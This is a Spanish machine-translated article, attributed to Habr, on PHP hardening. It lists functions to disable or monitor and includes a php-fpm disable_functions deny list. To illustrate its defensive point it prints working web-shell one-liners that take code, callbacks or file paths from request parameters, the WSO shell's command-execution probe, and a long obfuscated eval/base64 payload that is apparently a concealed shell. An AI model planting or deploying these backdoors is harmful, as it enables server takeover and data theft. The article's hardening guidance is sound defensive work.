Funciones PHP inseguras

Modesco Holding: más de 300 sitios de información y 5 servicios principales de Internet. Los proyectos se compran y venden regularmente. Como comprenderá, es físicamente imposible mantener un código de alta calidad en esta situación. Y, por regla general, la atención principal de los programadores se centra en los servicios mismos. Hackeo, shell, infección de sitios con otras cosas maliciosas ... Todo esto causa un daño significativo a los usuarios y empresas. Para evitar esto, a menudo hay que buscar formas más bien no estándar para reducir los riesgos.


gato


fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system"; 

Esto no significa que todas las funciones peligrosas deban ser prohibidas urgentemente. No significa que al deshabilitarlos, definitivamente se protegerá de todos los shells PHP. La mayoría de estas características se pueden usar de manera absolutamente segura en su aplicación, Framework o bibliotecas. Cada aplicación debe abordarse individualmente. La seguridad es el proceso de construir una defensa en profundidad, y deshabilitar funciones peligrosas en este caso es solo una de las posibles líneas de esta defensa.


La lista de tales funciones puede ser un asistente para encontrar archivos sospechosos. PHP-shell puede ocultarse de forma muy inteligente: un excelente ejemplo de ofuscación es el artículo sobre habr


Este artículo se basa en un registro de stackoverflow y en nuestra propia experiencia analizando un gran conjunto de shells PHP .


Que hacer con el


Sería bueno desactivar algunas funciones peligrosas para PHP-fpm (u otra cosa). Deje la oportunidad de ejecutarlos solo a través de PHP-cli. La apariencia de otras funciones debe ser monitoreada en archivos. El tercero debe tratarse con más cuidado y no permitir que líneas sin limpiar o estrictamente no validadas entren en los argumentos.


Funciones de ejecución de comandos


 exec expect_popen passthru system shell_exec popen proc_open pcntl_exec 

Estas características deben desactivarse primero. Si los necesita en PHP-fpm, está haciendo algo mal. Estas funciones le permiten salir del entorno especificado en open_basedir. Desactivar solo una parte de las funciones no será suficiente. Por ejemplo, la querida shell WSO, en busca de oportunidades para la ejecución de código, enumera funciones.


 function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; } 

Funciones de gestión de procesos.


 pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig 

También deben estar apagados. Por ejemplo, proc_open se encuentra en el WSO. Sí y no hay lugar para tales funciones en el entorno de PHP-fpm. Daemon debe iniciarse a través de PHP-cli.


Funciones de información


 phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid 

Estas funciones revelan información sobre su sistema y pueden facilitar enormemente el ataque a otro software. Y también pueden convertirse en una fuente de fuga de datos confidenciales, por ejemplo, en Symfony se recomienda almacenar conexiones de bases de datos en ENV. Por lo tanto, es aconsejable prohibir la ejecución de estas funciones, excepto las utilizadas en su aplicación.


Funciones ejecutando código PHP


 eval assert preg_replace create_function include include_once require require_once 

Vale la pena comprobar su presencia en los archivos descargados y realizar comprobaciones periódicas de los archivos actuales. Además de eval hay otras formas de ejecutar código PHP. Por ejemplo, puede incluir incluir un archivo JPG especialmente diseñado . Sin embargo, la mayoría de los frameworks y aplicaciones usan estas funciones; no puede deshabilitarlas. Por lo tanto, es importante tener mucho cuidado al usarlos. Shell puede ser solo una línea:


  include("data:text/plain;base64,$_GET[code]"); 

Funciones que usan devolución de llamada


 ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function 

Estas funciones se pueden usar para llamar a otras funciones pasando un parámetro de cadena. Vale la pena aplicarlos con cuidado y no permitir que los datos sin procesar entren en los argumentos de la función. Después de todo, también pueden servir para enmascarar el caparazón. Un ejemplo del shell más simple que usa estas funciones se ve así:


 print_r(call_user_func_array($_POST['functie'], array($_POST['argv']))); 

Funciones a menudo utilizadas en ofuscación


 eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function 

Estas funciones se usan a menudo para enmascarar shells PHP ya conocidas de antivirus y de miradas indiscretas. Verifique la presencia de los archivos descargados, realice verificaciones periódicas en los archivos actuales. Un ejemplo de ocultar un caparazón:


 eval(str_rot13(gzinflate(str_rot13(base64_decode('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'))))); 

Características del sistema de archivos


 fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags 

Estas funciones se pueden usar para descargar archivos o divulgar información sobre el sistema; vale la pena usarlos con precaución. Muchos shells PHP pueden cargar archivos de terceros a través de ftp. Un simple shell PHP para cargar un archivo arbitrario se ve así:


 copy($_GET['s'], $_GET['d']); 

Otros


 extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid 

También se necesita precaución con estas funciones, y es mejor prohibir algunas de ellas. Por ejemplo, el mail se puede usar para enviar spam a un sitio infectado. Si su aplicación no tiene la intención de utilizar estas funciones, desactívelas. La siguiente construcción no es temerosa, pero es uno de los shells PHP más pequeños:


  @extract($_REQUEST); @die ($ctime($atime)); 

Conclusión


Deshabilitar las funciones inseguras de PHP es una forma de reducir los riesgos de quedarse sin recursos. Si las personas con "conocimiento específico" están involucradas en su proyecto, es probable que caiga.


Esta protección demostró ser especialmente buena en sitios en el CMS: están infectados, por regla general, por redes maliciosas en modo automático. Si el robot de escaneo no puede ejecutar el comando o el shell PHP inundado, lo más probable es que vaya al siguiente sitio.


Espero que este artículo anime a los principiantes a tener más cuidado con el filtrado, el blindaje y la validación de los datos recibidos del usuario.


El artículo no pretende tener un conocimiento único: de una forma u otra, este material ya se ha encontrado en Runet. El texto es un material generalizado y sistematizado que llama la atención sobre el problema.


Quizás pueda motivar a alguien para que escriba material complejo sobre seguridad de Wordpress, bueno, u otro CMS.

Source: https://habr.com/ru/post/472092/


All Articles